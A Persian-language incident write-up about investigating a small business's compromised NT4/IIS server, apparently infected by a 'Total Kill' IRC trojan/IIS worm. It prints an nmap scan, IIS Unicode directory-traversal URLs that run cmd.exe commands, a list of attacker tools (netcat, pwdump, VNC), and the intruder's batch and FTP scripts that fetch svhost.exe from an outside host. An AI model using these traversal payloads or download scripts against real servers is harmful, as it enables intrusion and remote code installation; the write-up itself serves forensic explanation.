

رویاروی انواع هکر

تهیه کننده: امیرمسین شریفی

ماجرای آنجایی شروع شد که یکی از اقوام و مشتریهای نزدیک من با مشکل اینترنت مواجه شده بود. به خصوص اینکه او تعجب کرده بود که چرا خط T1 او به صورت نامشخصی کُند شده بود و نگران بود از اینکه شاید سیستم او گرفتار ویروس یا کرم اینترنتی شده است مخصوصا اینکه او در گذشته یک بار دچار این مشکل شده بود. من به او گفتم که یک نگاهی به سیستم او خواهم کرد.

با توجه به مشکل قبلی که داشت من انتظار داشتم که احتمالا سیستم او دوباره دچار ویروس یا کرم شده است و با کمی راهنمایی و پیشنهادات ساده می تواند آن را از سیستم خود حذف کند. اما برخلاف تصور من این پیش داورى مانند یک کاهی بود توی یک کوه از مشکلاتی که او با آنها مواجهه بود. شبکه مشتری من فقط با کرمهای دیجیتالی آلوده نشده بود، بلکه به عنوان یک سرور Warez مورد استفاده برای انواع هکرها شده بود به خصوص به وسیله یک گونه جدید از تروجان IRC - کرم IIS که Total Kill نام داشت.

مشتری

این مشتری من یکی از آن دسته مشتری هایی بود که دارای حرفه های کوچکی هستند و نیازی به یک خط اجاره ای به صورت کامل ندارند. در عوض آنها به وسیله این خط به تعدادی از دوستان و اقوامشان به صورت پاره وقت هم سرویس اینترنت می دهند. در نتیجه شبکه او از میان دوستان خیلی از اشخاص دارای سر رشته گذشته بود و در تمام طول این دو سال به وسیله پرسنل او پشتیبانی شده بود و هر کسی از آنها هر وقت که می خواست می توانست به طرحبندی و پیکربندی شبکه او اضافه یا کم کند و برای همین شبکه دوست عزیز من به صورت یک تولید کننده سرویس اینترنت کوچک^۱ شده بود.

^۱ -IRC Trojan/IIS worm

^۲ - Mini Internet Service Provider (ISP)

لیست شماره ۱ - نتیجه برنامه nmap روی سرور اصلی مشتری

```
Starting      nmap      V      2.54BETA22
(www.insecure.org/nmap)
Interesting ports on (192.168.0.66);
(The ports scanned but not shown below are in
state : close)

port      State      Service
53/tcp    open      domain
80/tcp    open      http
135/tcp   open      loe-srv
137/tcp   filtered  netbios-ns
138/tcp   filtered  netbios-dgm
139/tcp   filtered  netbios-ssn
593/tcp   open      http-rpe-epmap
1029/tcp  open      unknown
1031/tcp  open      iad2
1035/tcp  open      unknown
1038/tcp  open      unknown
1042/tcp  open      unknown
1490/tcp  open      unknown
```

او برای حرفه ISP اش یک خط T1 و تعداد زیادی آدرس IP خریداری کرده بود و همچنین تجهیزاتش را، که بتواند آن را مدیریت کند. در نتیجه برای اینکه این آدرس های IP هدر داده نشوند یکی از مدیران قبلی اش یک مسیر یاب سیسکو و یک سرور DHCP را راه اندازی کرده بود و برای هر کامپیوتر داخلی یک آدرس IP مجزا اختصاص داده بود که از طریق اینترنت قابل دسترس بود.

در هسته این شبکه یک کامپیوتر بود که میزبان گروه زیادی از سرویس ها بود. در کامپیوتر یک سیستم عامل

NT4 اجرا شده بود که به عنوان یک سرور DNS ، سرور DHCP ، سرور Exchange ، کنترل کننده ابتدایی دامنه ها^۳ و سرور فایل عمل می کرد . این سرور همچنین به عنوان یک میزبان برای برنامه پایگاه داده شرکتش عمل می کرد. به خاطر سرویسهای زیادی که این کامپیوتر ارائه می داد می توانست هدف ابتدایی برای ویروس ها و کرمها باشد. در حقیقت ۵ ماه قبل از این وضعیت این سرویس دهنده به وسیله Nimda مورد هجوم واقع شده بود.

تحقیقات اولیه ، روز اول - بعد از ظهر

اولین چیزی که من باید انجام می دادم این بود که وضعیت سیستم را بدانم. با بیان دیگر من دنبال پورتهای باز سیستم می گشتم که بتواند حضور یک سرویس اضافه و یا تروجان را نشان دهد. بهترین وسیله برای این کار برنامه Nmap می باشد که من یکی از آنها را نصب کردم و تمام پورتهای را از 1 تا 65535 برای آدرس های IP موجود در شبکه بررسی کردم. دستوری که من استفاده کردم به شکل زیر بود:

³ - Primary domain controller

Nmap -sS -p 1-65535 -O 192.168.x.x

به محض اینکه Nmap کاوش خودش را تمام کرد من به سرعت خروجی را مرور کردم و دنبال هر چیز مشکوک و یا پورتهای مشهور به عنوان مثال 31337، 12345، 21، 23 و یا هر چیز دیگری که نشان دهنده یک سرویس اضافی و یا پورتی از یک تروجان مشهور باشد، می گشتم! حال آنکه تمام کامپیوترها جواب مثبتی روی پورتهای از 135 تا 139 داشتند که نشان دهنده NetBIOS و بخشهای ممکن آن بود. همچنین پورت 80 سرور اصلی مشتری باز بود. (لیست ۱ را مشاهده کنید)

بعد از متوجه شدم پورت ۸۰ باز است، سریعاً مرورگر خودم را باز کردم تا ببینم چه صفحات وبی روی این سرور گذاشته شده است. پورت 80 معمولاً برای سرور وب استفاده می شود و صفحاتی که در هنگام نصب IIS به صورت معمول وجود دارد را مشاهده کردم.

قدم بعدی این بود که سرور را جستجو کنم برای یافتن ضعفهای امنیتی که وجود دارد بنابراین پویندهای محبوب خود را اجرا کردم و خود برای خوردن یک نوشیدنی به طبقه پایین رفتم.

وقتی برگشتم نتایج ناراحت کننده بود! من تعداد بسیار زیادی ضعفهای و سوراخهای امنیتی و پونیکدهای آلوده! را پیدا کردم. با زبان دیگر کوچکترین ضعف در سرور می تواند به یک نفوذگر و یا یک کرم اینترنتی برای رسوخ به سرور کمک کند آن وقت ضعفهایی که از طریق یونیکدها وجود دارد از قدیمی ترین این سوراخهای امنیتی می باشد! و این نشان می داد که مسوولین شبکه به هیچ عنوان هیچ یک از Patch ها را برای رفع اینگونه ضعف ها به کار نبرده اند.

تست ضعفهای سرور، شب اول

یک نکته خوب اینجا بود که من می دانستم باید جستجوهایم را از کجا شروع کنم. با استفاده از URL زیر کارم را شروع کردم. من به وسیله این URL به سرور دستور دادم که لیست دایرکتوری c:\winnt\system32 را نمایش دهد:

⁴ - Wishker – Stealth – CGI4

[http://192.168.0.66/MSADC/..%5c..%5c..%5cwinnt/system32/\[ccc\]cmd.exe?c+dir+c:\winnt\system32](http://192.168.0.66/MSADC/..%5c..%5c..%5cwinnt/system32/[ccc]cmd.exe?c+dir+c:\winnt\system32)

یک مرتبه سرور نتیجه را برگرداند.

من با یک نظر سریعی که به لیست انداختم تعدادی فایل‌های مشکوک نظرم را جلب کرد. من تعداد از این فایل را برای شما اینجا بازگو می‌کنم و می‌گویم که چرا آنها مشکوک بودند. متأسفانه خیلی از مدیران شبکه به این گونه فایل‌های مشکوک هیچ توجه ای ندارند!

- **PipeCmd.exe** : ابزاری برای کنترل از راه دور که در سمت مشتری اجرا می‌شود و به وسیله نفوذگرها استفاده می‌شود.

- **Omnithread_tr.dll** : یکی از سه فایل مورد استفاده برای نصب VNC ، یک ابزار مشهور و قدرتمند برای کنترل از راه دور.

- **VNCHooks.dll** : دومین فایل برای نصب VNC.

- **Vnsystask.exe** : سومین فایلی که برای نصب برنامه VNC مورد نیاز است و همه اینها از دید کاربر پنهان بوده است.

- **Nc.exe** : Netcat ، برنامه عمومی برای اجرای دستورات از راه دور.

- **Pw.exe** : معمولاً به اسم pwDump(2).exe مشهور است. برنامه ای برای استخراج نام کاربران و کلمات رمز آنها.

- **Samdump.dll** : فایلی که مورد نیاز برنامه pw.exe می‌باشد.

به صورت واضح ، در این سرور نه یکی ، بلکه ۲ عدد rootkit در دایرکتوری c:\winnt\system32 نصب شده بود. و آنطور که من بعدها فهمیدم این تنها یکی از دهها rootkit ای بود که در این سرور برای به دست گرفتن سرور با هم رقابت می‌کردند!!!

مثلاً دایرکتوری SysStat که در داخل دایرکتوری c:\winnt\system32 قرار داشت در تاریخ ۷ اکتبر سال ۲۰۰۲ ساخته شده بود شامل یک rootkit دیگر بود.

بعد ، برای اینکه ببینم در درایو ریشه سرور ، فایل دیگری نظرم را جلب می‌کند یا نه از URL دیگری برای نشان دادن درایو C استفاده کردم . فکر کنم خود شما با کمی فراست بتوانید حدس بزنید از چه URL ای استفاده کردم :

[http://192.168.0.66/MSADC/..%5c..%5c..%5cwinnt/system32/\[ccc\]cmd.exe?c+dir+c:\](http://192.168.0.66/MSADC/..%5c..%5c..%5cwinnt/system32/[ccc]cmd.exe?c+dir+c:\)

لیست درایو C سرور

Volume in drive C has no label
 Volume Serial Number is DCF0-5460
 Directory of C:
 10/10/02 01:03 p 1000,000 1mb
 ۰۵/۲۰/۰۲ ۰۹:۳۲a 0
 AUTOEXEC.BAT
 10/18/02 12:57a 789 bootobc.dll
 10/10/02 12:42p 223 CDIR.TXT
 05/20/02 09:32a 0 CONFIG.SYS
 10/30/02 05:53p 0 dir.txt
 11/23/99 10:04a 208,144 dns.exe
 06/07/02 11:04a 524,288
 errorlog.evt
 05/28/02 07:06p <DIR> exchsrvr
 10/04/02 06:38p 0 explorer.exe
 10/04/02 06:38p 0 explorer.ini
 05/20/02 10:18p <DIR> hpfonts
 09/24/02 06:49p <DIR> hplj2100
 09/29/02 01:03p 6,721,536
 httpodbc.dll
 09/27/02 09:36p <DIR> IISmp
 10/18/02 01:11a <DIR> InetPub
 10/10/02 12:45p 6,656
 INFUSE.EXE
 10/10/02 12:43p 602 LOGIN.TXT
 10/02/02 02:17p 59,392 ncx99.exe
 10/30/02 02:47p 6,693 netstat.txt
 10/30/02 10:09a 536,870,912
 pagefile.sys
 07/24/02 01:29p <DIR> Program Files
 10/10/02 12:44p 81 pt.txt
 10/14/02 05:21a 1,307 ra_slave.log
 10/26/02 01:21p 716 Script.bat
 10/26/02 01:21p 95 Script.txt
 10/29/02 07:42p 1,949
 servudaemon.ini
 10/28/02 04:40p 528
 ServUStartUpLog.txt
 10/04/02 04:25p 15,000,000
 SR.CD2-H2O.r41
 09/28/02 01:33p <DIR> TEMP
 10/10/02 12:43p 17,920
 TLIST.EXE
 06/18/02 10:00p <DIR> veritas
 09/28/02 01:18p <DIR> WIN32
 10/10/02 12:45p 496,836
 WINMGNT.EXE
 10/30/02 01:09p <DIR> WINNT
 35 File(s) 560,918,667 bytes

در اینجا بود که من خندم گرفت از اینکه شروع کرده بودم تا ببینم چه ناحیه ای آلوده شده است. اما دو فایل در درایو ریشه بود که نظرم را جلب کرد: **Script.bat** , **Script.txt** که خیلی تابلو نشان می داد که «من توسط یک نفوذگر ساخته شده ام». من تصمیم گرفتم که محتوای آنها را بررسی کنم. برای این منظور از URL های زیر استفاده کردم که محتوای این فایلها را نمایش می دهد:

[http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/\[ccc\]cmd.exe,/c+type+c:\scripts.bat](http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc]cmd.exe,/c+type+c:\scripts.bat)

[http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/\[ccc\]cmd.exe,/c+type+c:\scripts.txt](http://192.168.0.66/MSADC/..%5c..%5c..%5c..%5cwinnt/system32/[ccc]cmd.exe,/c+type+c:\scripts.txt)

شما هم یک نگاهی به محتوای این فایلها بیاندازید. چه نتیجه ای می گیرد؟ چه اتفاقی در سرور افتاده؟ به نظر شما در قدم بعدی چه کاری باید انجام بدهم؟

محتوای فایل Script.bat

```
Mkdir c:\recycler
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash
Mkdir c:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc]
old_files
Mkdir d:\recycler
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash
Mkdir d:\recycler\S-1-5-21-1831738385-770969707-784038887-1117\trash\[ccc]
old_files
mkdir e:\recycler
Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784038887-1117
Mkdir e:\recycler\S-1-5-21-1831738385-770969707-784
c:\winnt\system32\ftp -n -s:script.txt
c:\winnt\system32\svhost.exe /i
c:\winnt\system32\pssshutdown.exe -r -l -f
```

محتوای فایل Script.txt

```
open 210.171.xxx.xxx:11515
USER ironfredh
hichic
get svhost.exe
get servudaemon.ini
quit
```